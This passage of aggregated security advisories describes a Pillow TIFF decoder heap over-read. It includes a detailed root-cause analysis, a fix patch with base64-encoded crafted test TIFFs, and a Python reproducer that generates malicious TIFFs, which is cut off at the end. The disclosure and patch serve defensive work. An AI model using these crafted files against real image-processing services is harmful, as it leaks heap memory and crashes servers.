range(0, len(a), 2) if a[k:k+2] != b[k:k+2])\n print(f\" pixel bytes depend on malloc fill pattern from byte {i//2} of {len(a)//2}:\")\n print(f\" PERTURB=85 : ...{a[i-8:i+40]}\\n PERTURB=170: ...{b[i-8:i+40]}\")\n leak = True\n else:\n print(\" identical output / error -\u003e no leak observed\")\n\nrc, _, info = run(\"tile_big.tif\", 0)\nprint(f\"== tile_big.tif: {info[0]} rc={rc}\" + (\" (SIGSEGV)\" if rc == -11 else \"\"))\ncrash = rc == -11\nif crash and shutil.which(\"gdb\"):\n bt = subprocess.run([\"gdb\", \"-batch\", \"-ex\", \"run\", \"-ex\", \"bt 4\", \"--args\", sys.executable, \"-c\", LOAD,\n f\"{W}/tile_big.tif\"], capture_output=True, text=True).stdout\n print(\"\\n\".join(l for l in bt.splitlines() if l.startswith(\"#\")))\nshutil.rmtree(W)\nprint(f\"summary: heap bytes in pixels={leak} stock SIGSEGV={crash}\")\nprint(\"BUG\" if leak or crash else \"OK\")\n```\n\u003c/details\u003e\n\n---",
"id": "BREW-aider-CVE-2026-112404",
"modified": "2026-10-21T09:14:41Z",
"published": "2026-10-21T09:14:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-c6hw-5grf-ff96"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112404"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/1d4773e6cea0c4a2814e6d4cdc099bbcf56da6ce"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-pillow/Pillow"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Pillow: OOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels",
"upstream": [
"GHSA-c6hw-5grf-ff96",
"CVE-2026-112404"
]
}
FKIE_CVE-2026-112404
Vulnerability from fkie_nvd - Published: 2026-10-19 22:17 - Updated: 2026-10-20 19:48| Vendor | Product | Version |
|---|
{
"affected": [
{
"affectedData": [
{
"product": "Pillow",
"vendor": "python-pillow",
"versions": [
{
"status": "affected",
"version": "\u003e= 8.1.0, \u003c 13.0.0"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Pillow is a Python imaging library. From 8.1.0 until 13.0.0, Pillow\u0027s TIFF tile and RGBA decode paths can read beyond row data produced by libtiff. In _decodeTile and the RGBA unpacker path, when Pillow and libtiff interpret duplicated PhotometricInterpretation or BitsPerSample tags differently, Pillow does not verify that the required input row fits inside the row libtiff produced, while the strip path has this validation. Loading pixels from such a crafted TIFF can expose adjacent heap data in output pixels or crash the process. This issue is fixed in version 13.0.0."
}
],
"id": "CVE-2026-112404",
"lastModified": "2026-10-20T19:48:50.250",
"metrics": {
"cvssMetricV40": [
{
"cvssData": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"availabilityRequirement": "NOT_DEFINED",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityRequirement": "NOT_DEFINED",
"exploitMaturity": "NOT_DEFINED",
"integrityRequirement": "NOT_DEFINED",
"modifiedAttackComplexity": "NOT_DEFINED",
"modifiedAttackRequirements": "NOT_DEFINED",
"modifiedAttackVector": "NOT_DEFINED",
"modifiedPrivilegesRequired": "NOT_DEFINED",
"modifiedSubAvailabilityImpact": "NOT_DEFINED",
"modifiedSubConfidentialityImpact": "NOT_DEFINED",
"modifiedSubIntegrityImpact": "NOT_DEFINED",
"modifiedUserInteraction": "NOT_DEFINED",
"modifiedVulnAvailabilityImpact": "NOT_DEFINED",
"modifiedVulnConfidentialityImpact": "NOT_DEFINED",
"modifiedVulnIntegrityImpact": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
},
"published": "2026-10-19T22:17:07.900",
"references": [
{
"source": "security-advisories@github.com",
"url": "https://github.com/python-pillow/Pillow/commit/1d4773e6cea0c4a2814e6d4cdc099bbcf56da6ce"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-c6hw-5grf-ff96"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Undergoing Analysis",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-126"
}
],
"source": "security-advisories@github.com",
"type": "Primary"
}
]
}
GHSA-C6HW-5GRF-FF96
Vulnerability from github – Published: 2026-10-20 20:42 – Updated: 2026-10-20 20:42============================================================================
OOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels
Location: src/libImaging/TiffDecode.c:483 in _decodeTile()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
Pillow reads past the end of a heap buffer when decoding certain malformed compressed TIFF files, and copies the bytes it reads into the pixels of the image it returns. An attacker who can get an application to open and load an image file, for example by uploading it to a service that returns thumbnails, previews or converted images, gets back fragments of that process's heap memory, including pointer values. A slightly larger file instead crashes the process. No special settings are needed, and nothing is written out of bounds.
The bug is in _decodeTile() and _decodeAsRGBA() in src/libImaging/TiffDecode.c. Both size their decode buffer from libtiff's view of the pixel layout (TIFFTileSize()/TIFFTileRowSize(), or img.width * 4). They then unpack each row with the unpacker that TiffImagePlugin._setup() chose from Pillow's own parse of the directory, and neither checks that the unpacker's input row fits inside the row libtiff produced. _decodeStrip() has exactly this check, added for OSS-Fuzz crash-0da0 in 8.2.0, but the tile and RGBA paths never got it.
The two parsers can be made to disagree with a duplicated PhotometricInterpretation or BitsPerSample tag, because libtiff keeps the first occurrence and Pillow keeps the last. Pillow then unpacks 4 to 8 bytes per pixel from rows that libtiff filled with 1 to 4 bytes, so the last rows of each tile are read from beyond the buffer. The disclosed memory is a few tile rows past the buffer, and the attacker chooses the tile width. The amount does not grow with the number of tiles, because the buffer is reused for every tile.
The tile half was introduced in 1c295bf43 (first released in 8.2.0). The RGBA half was introduced in eb8c1206d, the CVE-2020-35654 fix (8.1.0).
The attached reproducer runs against an unmodified build. It writes three roughly 400-byte files that load without error, yet the last pixel rows of each change with glibc's malloc fill pattern and contain heap pointer bytes. A fourth file with a 65536x16 tile segfaults in copy4 ← _decodeTile (TiffDecode.c:483) in most runs, depending on what is mapped after the buffer.
Details
_decodeTile() and _decodeAsRGBA() in src/libImaging/TiffDecode.c size state->buffer from what libtiff says it will produce (TIFFTileSize(), resp. img.width * 4), but unpack each row with the shuffler that TiffImagePlugin._setup() selected from Pillow's own parse of the IFD. Nothing in either function checks that the unpacker's input row (width * state->bits / 8 bytes) fits inside the row libtiff wrote. _decodeStrip() has exactly that check; the other two do not. Whenever the two IFD parsers disagree about the pixel layout — a tag with the wrong count or type that libtiff ignores but Pillow accepts, or a duplicated PhotometricInterpretation/BitsPerSample/SamplesPerPixel entry (libtiff keeps the first occurrence, ImageFileDirectory_v2.load() the last) — the unpacker reads past the end of the heap buffer and the bytes it reads become pixels of the returned image. Any Pillow rawmode wider than libtiff's actual sample layout works (RGBX, RGB;16N, RGBA;16N, I;32, F;32F, …); RGBA;16N (64 bits/pixel) against 1-bit libtiff data is the largest ratio, where every row after the first of each tile is read almost entirely from beyond the buffer.
The ~400-byte TIFF tile_count2.tif generated by the reproducer — one 16x16 tile, BitsPerSample 8, SamplesPerPixel 1, Compression 8 (Adobe Deflate), and PhotometricInterpretation written as a SHORT with count 2 (6, 6) — is opened by Image.open() as mode RGB with libtiff rawmode RGBX, and load() succeeds on the stock build. Rows 13–15 of the result contain bytes that lie 16, 32 and 48 bytes past the 256-byte tile buffer: decoding the same file twice under MALLOC_PERTURB_=85 and =170 yields identical rows 0–12 and different bytes in rows 13–15 (aa vs 55, i.e. glibc's fill pattern). Under an ASan build of the extensions the same load() reports heap-buffer-overflow READ of size 64 in copy4 (src/libImaging/Unpack.c:1290) called from src/libImaging/TiffDecode.c:483, against the 256-byte region allocated at TiffDecode.c:448. The same layout with a single 65536x16 tile (4.5 KB file) makes the stock build SIGSEGV in copy4 ← _decodeTile reading an unmapped address in most runs (whether it faults depends on what is mapped after the 1 MiB buffer; a wider tile makes it reliable).
Why the two parsers disagree
libtiff 4.5 rejects a PhotometricInterpretation entry whose count is not 1 (TIFFFetchNormalTag: Incorrect count for "PhotometricInterpretation"; tag ignored), so for this file TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, …) returns 0 and libtiff treats the data as one 8-bit sample per pixel: TIFFTileSize() = 256, TIFFTileRowSize() = 16.
Pillow keeps the first value and carries on:
# src/PIL/TiffImagePlugin.py:762-770 (ImageFileDirectory_v2._setitem, reached from load())
try:
(dest[tag],) = values
except ValueError:
# We've got a builtin tag with 1 expected entry
warnings.warn(f"Metadata Warning, tag {tag} had too many entries: ...")
dest[tag] = values[0]
so _setup() sees photo == 6. OPEN_INFO[(II, 6, (1,), 1, (8,), ())] is ("L", "L"), and because the file is compressed the libtiff branch then overrides the rawmode:
# src/PIL/TiffImagePlugin.py:1578, 1600-1607
self.use_load_libtiff = READ_LIBTIFF or self._compression != "raw"
…
if photo == 6:
self._mode = "RGB"
if self._compression in "jpeg" and self._planar_configuration == 1:
rawmode = "RGB"
else:
rawmode = "RGBX"
RGBX is a 32-bit rawmode, so get_unpacker() (src/decode.c:301-309) sets state->bits = 32 and state->shuffle = copy4. The intent of the photo == 6 override is that libtiff will deliver RGBA through TIFFRGBAImage, but that decision is made in C from libtiff's reading of the tag, which here is "not YCbCr":
// src/libImaging/TiffDecode.c:737-764
TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, &photometric); // unset -> stays 0
…
readAsRGBA = photometric == PHOTOMETRIC_YCBCR; // 0
…
if (TIFFIsTiled(tiff)) {
_decodeTile(im, state, tiff, planes, unpackers); // unpackers[0] = copy4
The missing check
_decodeTile() only guards against libtiff's tile being larger than what the unpacker expects, then allocates exactly TIFFTileSize() bytes and feeds row_byte_size-strided rows to the shuffler:
// src/libImaging/TiffDecode.c:403-487 (_decodeTile)
tile_bytes_size = TIFFTileSize(tiff); // 256
…
row_byte_size = TIFFTileRowSize(tiff); // 16
…
if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * tile_width) {
// 256 > 1024 is false -> no abort
…
}
state->bytes = tile_bytes_size;
new_data = realloc(state->buffer, state->bytes); // 256-byte buffer (line 448)
…
for (tile_y = 0; tile_y < current_tile_length; tile_y++) {
shuffler( // copy4: reads current_tile_width*4 = 64 bytes
(UINT8 *)im->image[tile_y + y] + x * im->pixelsize,
state->buffer + tile_y * row_byte_size, // from offset 16*tile_y
current_tile_width
);
Row tile_y is read from [16·tile_y, 16·tile_y + 64); for tile_y = 13, 14, 15 that ends 16, 32, 48 bytes past the 256-byte allocation. In general the last rows of every tile over-read by up to (state->bits / libtiff_bits_per_pixel − 1) × row_byte_size bytes, and row_byte_size scales with the attacker-chosen TileWidth.
Note also that the existing one-sided check at line 434 multiplies the file-controlled tile_width/tile_length (UINT32, accepted up to INT_MAX at line 428) by state->bits in 32-bit unsigned arithmetic, so tile_width * state->bits wraps for tile_width ≥ 2^32 / bits (2^26 for the 64-bit rawmodes, 2^27 for RGBX/I;32/F;32F). An 8 KB file declaring a 2,097,152×1 image with TILEWIDTH = 2^26+16, TILELENGTH = 1, 1-bit data for libtiff and RGBA;16N for Pillow makes libtiff allocate an ~8 MB tile from which unpackRGBA16L reads 16 MB, and the stock build SIGSEGVs in unpackRGBA16L ← _decodeTile (TiffDecode.c:483); a row-size comparison written in the same 32-bit arithmetic as line 434 would evaluate that row to 128 bytes and still accept it, so the new check must be done in a 64-bit type.
Compare the strip path, which refuses this situation (added for OSS-Fuzz crash-0da0 in 8.2.0):
// src/libImaging/TiffDecode.c:528-548 (_decodeStrip)
unpacker_row_byte_size = (state->xsize * state->bits / planes + 7) / 8;
…
row_byte_size = TIFFScanlineSize(tiff);
// if the unpacker calculated row size is > row byte size, (at least) the last
// row of the strip will have a read buffer overflow.
if (row_byte_size == 0 || unpacker_row_byte_size > row_byte_size) {
state->errcode = IMAGING_CODEC_BROKEN;
return -1;
}
The identical file written with one strip instead of one tile fails load() with OSError: decoder error -2 because of this check.
Same gap in _decodeAsRGBA()
_decodeAsRGBA() always produces img.width * 4 bytes per row (TiffDecode.c:325, buffer allocated at line 339) and unpacks with state->shuffle (line 373) without looking at state->bits. It is reached when libtiff sees YCbCr while Pillow does not force RGBX. libtiff marks later duplicates of a tag as ignored (first occurrence wins); Pillow's ImageFileDirectory_v2.load() overwrites (TiffImagePlugin.py:945, last wins). The reproducer's ycbcr_dup.tif is a 16x16 Deflate strip with PhotometricInterpretation present twice (6, then 2) and BitsPerSample twice (8,8,8, then 16,16,16): libtiff decodes 8-bit YCbCr into a 1024-byte RGBA raster, Pillow selects RGB;16N (state->bits = 48), and unpackRGB16L reads 96 bytes per 64-byte row — ASan reports heap-buffer-overflow in unpackRGB16L (Unpack.c:609) from TiffDecode.c:373, past the 1024-byte region from TiffDecode.c:339.
The count-2 encoding is not the only lever, and on released versions it is not a lever at all: a 1-sample photo == 6 file only gets rawmode RGBX since the unreleased commit 155330d63 ("Do not open YCbCr colorspace images as RGB without libtiff (#9779)", 2026-08-26). Released versions are reached through duplicated tags instead. A 3-sample tiled file with two PhotometricInterpretation entries (1 or 2, then 6) produces the same copy4 ← _decodeTile over-read, since libtiff keeps the first value and decodes 3 bytes per pixel while Pillow keeps 6 and unpacks 4 (the reproducer's tile_dup.tif). ycbcr_dup.tif above reaches _decodeAsRGBA() the same way.
Impact
Any application that calls Image.open() + load() (or thumbnail(), convert(), save(), …) on an untrusted file reaches this with default settings: the file is content-sniffed as TIFF, and any compressed TIFF is decoded through libtiff and TiffDecode.c without READ_LIBTIFF being set. The over-read bytes are copied into the image's pixel rows, so a service that returns a thumbnail, preview or converted image hands adjacent heap memory back to the uploader, heap pointer values included — up to three libtiff tile rows past the buffer for the RGBX-over-8-bit case, with the tile row length (TileWidth) chosen by the attacker. state->buffer is allocated once and reused for every tile, so each tile re-reads the same region past that one buffer; the distinct heap disclosed per image is about (unpacker_bpp / libtiff_bpp − 1) tile rows and does not grow with the tile count. With a wide tile the read runs off the mapping and the process segfaults instead (the 65536x16 case crashes the stock build in most runs, depending on what is mapped after the buffer), taking down the whole worker rather than one request. Writes go to the correctly sized Imaging rows, so this is disclosure / crash, not memory corruption.
This is the same family as CVE-2020-35654 (Pillow and libtiff interpreting a YCbCr IFD differently in TiffDecode.c); that fix and the later crash-0da0 fix closed the write and the strip-path read, but the tile path and the RGBA path still trust Pillow's rawmode over libtiff's row size. The tile-path gap was introduced in 1c295bf43c3a ("Check for dimensions and sizes to fit into int", 2021-01-25), which switched _decodeTile() from a buffer sized by Pillow's unpacker to TIFFTileSize()/TIFFTileRowSize(); it is first in Pillow 8.2.0. The _decodeAsRGBA() half dates from eb8c1206d6b1 ("Fix CVE-2020-35654 - OOB Write in TiffDecode.c"), first in 8.1.0.
Reproducing
Run repro (a single Python 3 script) against the installed, unmodified Pillow. No sanitizer build is needed. It writes four TIFFs into a temporary directory, decodes each one in a child process, and removes the directory at the end.
The script writes its TIFFs byte by byte with a small classic-TIFF writer. Each file has a single IFD and a single Deflate-compressed block. Deflate is only there so the file is decoded by libtiff and TiffDecode.c. Every pixel byte in the compressed data is defined, so the decoded image should not depend on anything else in the process:
tile_count2.tif: a 16x16, 1-sample, 8-bit tile withPhotometricInterpretationwritten as SHORT count 2,(6, 6). Pillow keeps6and unpacks withcopy4(RGBX, 4 bytes per pixel). libtiff ignores the tag and decodes 1 byte per pixel. This lever needs 155330d63 (unreleased).tile_dup.tif: a 16x16, 3-sample, 8-bit tile withPhotometricInterpretationpresent twice,2then6. libtiff keeps2(RGB, 3 bytes per pixel) and Pillow keeps6(RGBX, 4 bytes per pixel). This variant also applies to released versions.ycbcr_dup.tif: the 16x16 strip withBitsPerSample8,8,8then16,16,16andPhotometricInterpretation6then2. libtiff decodes 8-bit YCbCr through_decodeAsRGBA()(4 bytes per pixel), and Pillow unpacksRGB;16NwithunpackRGB16L(6 bytes per pixel).tile_big.tif: thetile_count2.tiflayout with a single 65536x16 tile.
For each of the first three files, the script runs Image.open() + load() + tobytes() twice, once with MALLOC_PERTURB_=85 and once with =170. If the two outputs differ, bytes from beyond the decode buffer have become pixels. In that case it prints the first differing offset and the bytes around it from both runs. On this tree all three differ in their last rows: the aa/55 fill bytes show up, along with heap pointer bytes. The script then decodes tile_big.tif and checks for a SIGSEGV (exit status -11). If gdb is available, it prints the top frames: copy4 (Unpack.c:1290) ← _decodeTile (TiffDecode.c:483) ← ImagingLibTiffDecode. This crash depends on ASLR, so an occasional run may survive.
Each step prints which _imaging build it used and how Pillow opened the file (mode, size and rawmode). The script ends with a one-line summary. The last line is BUG if any file leaked heap bytes into its pixels or the big tile crashed the process. Otherwise it is OK.
Suggested fix
The attached patch restores the _decodeStrip() invariant (the unpacker's input row must fit inside libtiff's row) in the two sibling decoders in src/libImaging/TiffDecode.c, at the point where each one sizes its buffer:
_decodeTile()computesunpacker_row_byte_size = ((tsize_t)tile_width * state->bits / planes + 7) / 8(thetsize_tcast keeps the product out of 32-bit arithmetic, so theTILEWIDTH = 2^26+16case above cannot wrap past the check on 64-bit builds). It reuses that value for the existingTIFFTileSize()sanity check, as_decodeStrip()does for strips. After that check and before therealloc, it fails withIMAGING_CODEC_BROKENwhenunpacker_row_byte_size > row_byte_size(TIFFTileRowSize())._decodeAsRGBA()fails withIMAGING_CODEC_BROKENwhenstate->bits > 32, becauseTIFFRGBAImagerows are always 32 bits per pixel. This check runs beforeTIFFRGBAImageBegin()and any allocation.
With the patch, the tile and RGBA files fail load() with OSError: decoder error -2, the same result the equivalent strip file already gets. The patch also adds a regression test to Tests/test_file_libtiff.py (test_unpacker_row_wider_than_libtiff_row). The test embeds the count-2 tile and the duplicated-tag YCbCr strip as base64, following the file's existing convention. The patch was applied to a clean tree and rebuilt: the reproducer no longer triggers, and Tests/test_file_tiff.py, Tests/test_file_libtiff.py and Tests/test_tiff_crashes.py pass.
These checks close the over-read however the two parsers are made to disagree. Separately, _setup() could stop deriving the libtiff rawmode from tags that libtiff will read differently — e.g. treat a PhotometricInterpretation/BitsPerSample/Compression that is not a single well-typed value as "unknown pixel mode", the way ImageWidth/ImageLength are already required to be int at TiffImagePlugin.py:1473, or have ImageFileDirectory_v2.load() keep the first occurrence of a repeated tag as libtiff does (a behaviour change for malformed IFDs that is better made deliberately and separately) — but that only narrows the ways to reach the C-side gap rather than removing it: TiffImagePlugin cannot know how libtiff will resolve every malformed directory, and the decoder-side comparisons are what actually bound the read.
The patch
Reject TIFFs whose unpacker row is wider than libtiff's decoded row in _decodeTile() and _decodeAsRGBA(), as _decodeStrip() already does
Applies to src/libImaging/TiffDecode.c at the commit above.
diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py
index 3d804ea4a..c08dfe77c 100644
--- a/Tests/test_file_libtiff.py
+++ b/Tests/test_file_libtiff.py
@@ -1232,6 +1232,50 @@ class TestFileLibTiff(LibTiffTestCase):
with pytest.raises(OSError, match="decoder error -9"):
im.load()
+ @pytest.mark.parametrize(
+ "data",
+ (
+ # 16x16 8-bit greyscale tile, with a PhotometricInterpretation tag that
+ # has two values. Pillow reads it as YCbCr (rawmode RGBX, 4 bytes/pixel)
+ # while libtiff ignores it and decodes 1 byte/pixel.
+ (
+ b"SUkqAAgAAAAKAAABBAABAAAAEAAAAAEBBAABAAAAEAAAAAIBAwABAAAACAAA"
+ b"AAMBAwABAAAACAAAAAYBAwACAAAABgAGABUBAwABAAAAAQAAAEIBBAABAAAA"
+ b"EAAAAEMBBAABAAAAEAAAAEQBBAABAAAAhgAAAEUBBAABAAAACwEAAAAAAAB4"
+ b"nAEAAf/+AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUm"
+ b"JygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJT"
+ b"VFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+A"
+ b"gYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6yt"
+ b"rq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna"
+ b"29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+foAAQIDBJ9Bepo="
+ ),
+ # 16x16 strip with duplicated BitsPerSample and PhotometricInterpretation
+ # tags. libtiff keeps the first (8-bit YCbCr, read as 4 bytes/pixel RGBA)
+ # while Pillow keeps the last (16-bit RGB, rawmode RGB;16N, 6 bytes/pixel).
+ (
+ b"SUkqAAgAAAAMAAABAwABAAAAEAAAAAEBAwABAAAAEAAAAAIBAwADAAAAugEA"
+ b"AAIBAwADAAAAwAEAAAMBAwABAAAACAAAAAYBAwABAAAABgAAAAYBAwABAAAA"
+ b"AgAAABEBBAABAAAAngAAABUBAwABAAAAAwAAABYBAwABAAAAEAAAABcBBAAB"
+ b"AAAAHAEAABICAwACAAAAAQABAAAAAAB4nGNgZGJmYWVj5+Dk4ubh5eMXEBQS"
+ b"FhEVE5eQlJKWkZWTV1BUUlZRVVPX0NTS1tHV0zcwNDI2MTUzt7C0sraxtbN3"
+ b"cHRydnF1c/fw9PL28fXzDwgMCg4JDQuPiIyKjomNi09ITEpOSU1Lz8jMys7J"
+ b"zcsvKCwqLiktK6+orKquqa2rb2hsam5pbWvv6Ozq7unt658wcdLkKVOnTZ8x"
+ b"c9bsOXPnzV+wcNHiJUuXLV+xctXqNWvXrd+wcdPmLVu3bd+xc9fuPXv37T9w"
+ b"8NDhI0ePHT9x8tTpM2fPnb9w8dLlK1evXb9x89btO3fv3X/w8NHjJ0+fPX/x"
+ b"8tXrN2/fvf/w8dPnL1+/ff/x89fvP3///WcY9f+I9j8AoGJ+kAgACAAIABAA"
+ b"EAAQAA=="
+ ),
+ ),
+ )
+ @pytest.mark.filterwarnings("ignore:Metadata Warning")
+ def test_unpacker_row_wider_than_libtiff_row(self, data: bytes) -> None:
+ # The unpacker chosen by Pillow reads more bytes per row than libtiff
+ # decoded, so the decoder must reject the image rather than read past
+ # the end of its buffer
+ with Image.open(io.BytesIO(base64.b64decode(data))) as im:
+ with pytest.raises(OSError, match="decoder error -2"):
+ im.load()
+
@pytest.mark.parametrize("compression", ("tiff_adobe_deflate", "jpeg"))
def test_save_multistrip(self, compression: str, tmp_path: Path) -> None:
im = hopper("RGB").resize((256, 256))
diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c
index 8a57c523d..2ee6c5f0a 100644
--- a/src/libImaging/TiffDecode.c
+++ b/src/libImaging/TiffDecode.c
@@ -304,6 +304,15 @@ _decodeAsRGBA(Imaging im, ImagingCodecState state, TIFF *tiff) {
TRACE(("RowsPerBlock: %u \n", rows_per_block));
+ // TiffRGBAImages are 32bits/pixel. If the unpacker reads more bits per pixel
+ // than that, (at least) the last row of the block will have a read buffer
+ // overflow.
+ if (state->bits > 32) {
+ TRACE(("Decode Error, unpacker bits %d > 32\n", state->bits));
+ state->errcode = IMAGING_CODEC_BROKEN;
+ return -1;
+ }
+
if (!(TIFFRGBAImageOK(tiff, emsg) && TIFFRGBAImageBegin(&img, tiff, 0, emsg))) {
TRACE(("Decode error, msg: %s", emsg));
state->errcode = IMAGING_CODEC_BROKEN;
@@ -397,7 +406,7 @@ _decodeTile(
) {
INT32 x, y, tile_y, current_tile_length, current_tile_width;
UINT32 tile_width, tile_length;
- tsize_t tile_bytes_size, row_byte_size;
+ tsize_t tile_bytes_size, row_byte_size, unpacker_row_byte_size;
UINT8 *new_data;
tile_bytes_size = TIFFTileSize(tiff);
@@ -431,7 +440,8 @@ _decodeTile(
return -1;
}
- if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * tile_width) {
+ unpacker_row_byte_size = ((tsize_t)tile_width * state->bits / planes + 7) / 8;
+ if (tile_bytes_size > (unpacker_row_byte_size * tile_length)) {
// If the tile size as expected by LibTiff isn't what we're expecting, abort.
// man: TIFFTileSize returns the equivalent size for a tile of data as it
// would be returned in a call to TIFFReadTile ...
@@ -439,6 +449,13 @@ _decodeTile(
return -1;
}
+ // if the unpacker calculated row size is > row byte size, (at least) the last
+ // row of the tile will have a read buffer overflow.
+ if (unpacker_row_byte_size > row_byte_size) {
+ state->errcode = IMAGING_CODEC_BROKEN;
+ return -1;
+ }
+
state->bytes = tile_bytes_size;
TRACE(("TIFFTileSize: %d\n", state->bytes));
The reproducer
Reproducer —repro, 4,178 bytes (click to open)
Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.
#!/usr/bin/env python3
# Heap over-read in _decodeTile()/_decodeAsRGBA() (src/libImaging/TiffDecode.c), stock build,
# no sanitizer needed. Pillow picks the row unpacker from its own IFD parse, libtiff sizes the
# decode buffer from its parse; when they disagree the unpacker reads past state->buffer and the
# bytes land in the image. Evidence: (1) pixels of a fully-defined 16x16 file change with glibc's
# MALLOC_PERTURB_ fill byte (heap bytes beyond the buffer became pixels); (2) a 65536x16 tile
# SIGSEGVs in copy4 <- _decodeTile. Runs in a few seconds.
import os, shutil, struct, subprocess, sys, tempfile, zlib
W = tempfile.mkdtemp(); S, L = 3, 4
def tiff(entries, data): # little-endian classic TIFF, one IFD, tags in given order
data_off = 8 + 2 + 12 * len(entries) + 4; extra_off = data_off + len(data)
ifd, extra = struct.pack("<H", len(entries)), b""
for tag, typ, vals in entries:
if vals is None: typ, vals = L, [data_off]
raw = b"".join(struct.pack("<H" if typ == S else "<L", v) for v in vals)
if len(raw) > 4: raw, extra = struct.pack("<L", extra_off + len(extra)), extra + raw
ifd += struct.pack("<HHL", tag, typ, len(vals)) + raw.ljust(4, b"\0")
return b"II*\0" + struct.pack("<L", 8) + ifd + b"\0" * 4 + data + extra
def tile(w, h, spp, photo): # one deflate tile, 8 bit/sample
d = zlib.compress(bytes(i % 251 for i in range(w * h * spp)))
return tiff([(256, L, [w]), (257, L, [h]), (258, S, [8] * spp), (259, S, [8])] + photo +
[(277, S, [spp]), (322, L, [w]), (323, L, [h]), (324, L, None), (325, L, [len(d)])], d)
d = zlib.compress(bytes(range(256)) * 3)
files = {
# Photometric count 2 (6,6): libtiff ignores tag -> 1 B/px; Pillow keeps 6 -> RGBX copy4 4 B/px (HEAD only)
"tile_count2.tif": tile(16, 16, 1, [(262, S, [6, 6])]),
# Photometric duplicated 2 then 6, 3 samples: libtiff RGB 3 B/px; Pillow RGBX 4 B/px (also released versions)
"tile_dup.tif": tile(16, 16, 3, [(262, S, [2]), (262, S, [6])]),
# strip, libtiff sees 8-bit YCbCr -> _decodeAsRGBA 4 B/px; Pillow sees RGB;16 -> 6 B/px
"ycbcr_dup.tif": tiff([(256, S, [16]), (257, S, [16]), (258, S, [8, 8, 8]), (258, S, [16, 16, 16]), (259, S, [8]),
(262, S, [6]), (262, S, [2]), (273, L, None), (277, S, [3]), (278, S, [16]), (279, L, [len(d)]),
(530, S, [1, 1])], d),
"tile_big.tif": tile(65536, 16, 1, [(262, S, [6, 6])]),
}
for n, b in files.items():
open(f"{W}/{n}", "wb").write(b)
LOAD = r"""
import sys, warnings; warnings.simplefilter("ignore")
from PIL import Image
im = Image.open(sys.argv[1]); print(Image.core.__file__, im.mode, im.size, im.tile[0].args[0], file=sys.stderr)
im.load(); sys.stdout.write(im.tobytes().hex())
"""
def run(name, perturb):
p = subprocess.run([sys.executable, "-c", LOAD, f"{W}/{name}"], capture_output=True, text=True,
env=dict(os.environ, MALLOC_PERTURB_=str(perturb)))
return p.returncode, p.stdout, p.stderr.strip().splitlines()[-1:] or [""]
leak = False
for n in ("tile_count2.tif", "tile_dup.tif", "ycbcr_dup.tif"):
r1, a, info = run(n, 85); r2, b, _ = run(n, 170)
print(f"== {n}: {info[0]} rc={r1},{r2}")
if r1 == 0 and r2 == 0 and a != b:
i = next(k for k in range(0, len(a), 2) if a[k:k+2] != b[k:k+2])
print(f" pixel bytes depend on malloc fill pattern from byte {i//2} of {len(a)//2}:")
print(f" PERTURB=85 : ...{a[i-8:i+40]}\n PERTURB=170: ...{b[i-8:i+40]}")
leak = True
else:
print(" identical output / error -> no leak observed")
rc, _, info = run("tile_big.tif", 0)
print(f"== tile_big.tif: {info[0]} rc={rc}" + (" (SIGSEGV)" if rc == -11 else ""))
crash = rc == -11
if crash and shutil.which("gdb"):
